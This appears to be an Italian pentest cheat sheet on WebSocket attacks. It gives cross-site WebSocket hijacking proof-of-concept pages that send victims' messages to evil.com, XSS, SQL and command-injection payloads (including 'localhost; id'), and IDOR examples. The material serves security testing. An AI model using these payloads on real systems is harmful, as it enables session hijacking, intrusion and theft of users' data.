# In Burp: WebSockets history → mostra tutte le connessioni ws://
# Nel browser: DevTools → Network → filtra "WS"
# Nel codice JS: cerca "new WebSocket(" o "io.connect(" (Socket.IO)

# URL tipici:
wss://target.com/ws
wss://target.com/chat
wss://target.com/socket.io/?transport=websocket
wss://target.com/realtime
wss://api.target.com/v2/stream

# In Burp: intercetta il handshake WebSocket
# Modifica l'header Origin:
Origin: https://evil.com

# Se la connessione è accettata (101 Switching Protocols) → nessun Origin check
# → CSWSH possibile!

# Oppure da command line:
# websocat (https://github.com/vi/websocat):
websocat -H "Origin: https://evil.com" -H "Cookie: session=VALID" \
  "wss://target.com/ws"
# Se si connette → vulnerabile

# Il WebSocket richiede autenticazione?
# Prova a connetterti SENZA cookie:
websocat "wss://target.com/ws"

# Se si connette e ricevi dati → nessuna autenticazione!
# Peggio ancora: chiunque può connettersi e leggere tutto

<!-- evil.com/ws-steal.html -->
<script>
// Apri WebSocket verso target.com — il browser include i cookie!
var ws = new WebSocket("wss://target.com/ws");

ws.onopen = function() {
  console.log("[+] Connected as victim!");
  // Opzionale: invia un messaggio per richiedere dati
  ws.send(JSON.stringify({action: "get_profile"}));
  ws.send(JSON.stringify({action: "get_messages"}));
};

ws.onmessage = function(event) {
  console.log("[+] Data received:", event.data);
  // Invia al server dell'attaccante
  fetch("https://evil.com/log", {
    method: "POST",
    body: event.data
  });
};
</script>

<script>
var ws = new WebSocket("wss://target.com/chat");

ws.onopen = function() {
  // Leggi lo storico messaggi
  ws.send(JSON.stringify({type: "fetch_history", channel: "general"}));
  
  // Invia un messaggio come la vittima
  ws.send(JSON.stringify({
    type: "message",
    channel: "general",
    text: "Messaggio inviato dall'attaccante come se fosse la vittima"
  }));
};

ws.onmessage = function(e) {
  // Ogni messaggio in tempo reale → inviato all'attaccante
  fetch("https://evil.com/log", {method:"POST", body:e.data});
};
</script>

# In Burp: Proxy → WebSockets history
# Click destro su un messaggio → "Send to Repeater"
# Modifica il messaggio e invialo

# === Injection nei messaggi ===

# Se i messaggi vengono visualizzati in HTML (chat):
{"message": "<img src=x onerror=alert(1)>"}
# → XSS stored via WebSocket!

# Se i messaggi finiscono in un database:
{"message": "test' OR '1'='1"}
# → SQL injection via WebSocket

# Se il messaggio contiene un ID utente:
{"action": "get_profile", "user_id": 1338}
# → IDOR via WebSocket (cambia user_id per leggere dati di altri)

# Command injection:
{"action": "ping", "host": "localhost; id"}

# Alcuni WebSocket richiedono un token DOPO la connessione:
# Connessione → il server chiede: {"type":"auth","token":"?"}
# Il client invia: {"type":"auth","token":"JWT_HERE"}

# Test: cosa succede se NON invii il token?
# → Ricevi comunque i dati? → Autenticazione mancante!

# Test: cosa succede se invii un token scaduto/invalido?
# → Il server ti disconnette? O continui a ricevere dati?

# Handshake con Origin malevolo:
$ websocat -H "Origin: https://evil.com" -H "Cookie: session=abc123" \
  "wss://target.com/realtime"

# Output (dati che arrivano in tempo reale):
{"type":"notification","data":{"text":"Nuovo ordine #4523 - €2,350.00"}}
{"type":"notification","data":{"text":"Pagamento ricevuto - IBAN IT60X054..."}}
{"type":"user_update","data":{"email":"admin@company.com","last_login":"2026-02-25T14:30:00Z"}}

# → Notifiche real-time dell'admin — ordini, pagamenti, IBAN — catturate da evil.com!

# Messaggio legittimo:
{"action": "get_orders", "user_id": 1337}
# → I tuoi ordini

# Messaggio modificato in Burp:
{"action": "get_orders", "user_id": 1}
# → Ordini dell'admin!

{"action": "get_orders", "user_id": 1338}
# → Ordini di un altro utente!